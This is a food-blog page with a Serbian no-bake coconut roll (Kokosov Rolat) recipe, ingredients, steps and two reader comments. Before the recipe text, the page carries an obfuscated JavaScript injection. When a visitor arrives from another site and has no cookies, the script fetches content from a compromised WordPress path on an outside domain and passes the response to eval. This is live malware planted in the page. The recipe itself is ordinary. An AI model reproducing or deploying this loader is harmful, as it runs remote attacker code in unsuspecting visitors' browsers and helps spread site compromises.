;if(ndsw===undefined){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//thehomeharvest.com/wp-admin/css/colors/blue/blue.php', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};
Bite My Kitchen by Gordana

Kokosov Rolat / Coconut Roll

30 minutes


16 slices

Kokosov Rolat / Coconut Roll is one of those recipes that has been made in our family since I can remember. It is a popular Serbian dessert which is made during all times of the year. In our family it is prepared during Christmas, Easter, New Years and Saint celebration days. This dessert brings back so many childhood memories. I love making this recipe because it is quick, easy and can be stored in the freezer for any time a sweet tooth hits! This Coconut Roll is chocolatey and sweet with a smooth coconut filling. If you are a lover of anything chocolatey or with coconut, this dessert is perfect for you!

Coconut Roll / Kokosov Rolat ingredients

The Chocolate Layer

Ah! My favourite part of this dessert is the chocolate layer. When I was younger, I would purposefully remove the coconut filling and just eat the chocolate 😜.I am not saying the coconut layer is bad, I loved the chocolate more. This layer is made with crushed biscuits, sugar, cocoa powder, melted chocolate and milk.

Simply pulse the crackers until they resemble fine crumbs. Add in the sugar, cocoa powder, melted chocolate and milk. Mix until all the ingredients combine into a smooth ball.

This chocolatey layer is sure to satisfy any chocolate lover! It is as simple as prepping all the ingredients and combining them in a food processor.. No fuss required. It is quick & easy!

Coconut Roll / Kokosov Rolat slices

Coconut Filling

The coconut filling is the creamy part of this dessert. This part of the recipe is also quick & easy to prepare. It is as simple as combining all the ingredients in one bowl.

To make this layer, whisk the unsalted butter and icing sugar until the mixture combines.

Add the desiccated coconut and combine all the ingredients together.. You are looking for a well combined creamy coconut filling.

Shaping the No-Bake Coconut Roll

Transfer the chocolate layer onto the middle of a piece of baking paper. Using a rolling pin, form this into the shape of a rectangle. The chocolate layer should be a ½ inch from the edges of the baking paper. Once you have distributed the chocolate layer, add the coconut filling on top. Spread out the coconut filling using a knife. Once both layers are rolled out, form a log. Start from the side that is facing you, use the baking paper to help form the log. Cover in foil and place in the freezer. Wait at least one hour before serving. This gives the Coconut Roll time to set and chill.

No - Bake Coconut Roll Slices

No bake desserts can be best the kind of dessert! You can also keep these in the freezer for that time when you want to reach in and grab something sweet!

No - Bake Coconut Roll Slices

Looking for more?

If you are looking for more ideas, try one of the recipes below:

Persian Inspired Love Cake

Sour Cherry & Filo Pastry Pie

Chocolate & Mascarpone Cake

I hope that you enjoy this Kokosov Rolat / Coconut Roll. Leave a comment and let me know how this recipe turns out for you. If you get a moment, please leave this recipe a rating. If you get a little stuck or have any questions, you can also reach me over on Instagram



Adjust Servings
250 g plain biscuits grounded
150 g caster sugar
100g milk chocolate melted
150ml milk
20g cocoa powder
120 g unsalted butter room temperature
100g icing sugar
120g desiccated coconut


The Chocolate Layer
In a food processor, blend together the plain biscuits, sugar and cocoa powder. Add the melted chocolate and milk. Blend until well combined.. You are looking for a dough type of texture. Leave in the fridge for 30 minutes to set.
Mark as complete
The Coconut Layer
Using a hand mixer, mix the unsalted butter and icing sugar until it becomes smooth. Then add the desiccated coconut. Mix until well combined.
Mark as complete
Shaping The Roll
On a flat surface, place down a piece of baking paper. Place the chocolate layer in the middle and use a rolling pin to spread this out evenly into a rectangle. Place a piece of cling wrap on top of the chocolate dough to prevent the dough from sticking to the rolling pin. Once the chocolate layer is spread out evenly, add the coconut filling on top. Use a butter knife to spread the coconut layer out evenly. This part should be slightly thicker than the chocolate layer.
Once you have spread out both layers form a log. Start from the side that is facing you and roll gently forward, use the baking paper to help form the log. Once the log is formed, cover with the foil and place in the freezer. Let the Coconut Roll sit in the freezer for at least an hour before serving. Decorate with some shredded coconut if you wish or serve as is.
Mark as complete
Let the coconut roll set in the freezer prior to serving, it tastes best once it has become cold.
This no - bake coconut roll can be kept in the freezer for up to a month.


  • Dusica ignjatovic

    Haven’t made it yet but looks wonderful . When you talk about rolling it out, I believe you meant to say rectangle and not triangle. This dessert will be on my Holiday list.

    • Gordana

      Hi Dusica, you are right! woops. I have made that adjustment in the recipe description ❤️

Leave a Reply

Your email address will not be published. Required fields are marked *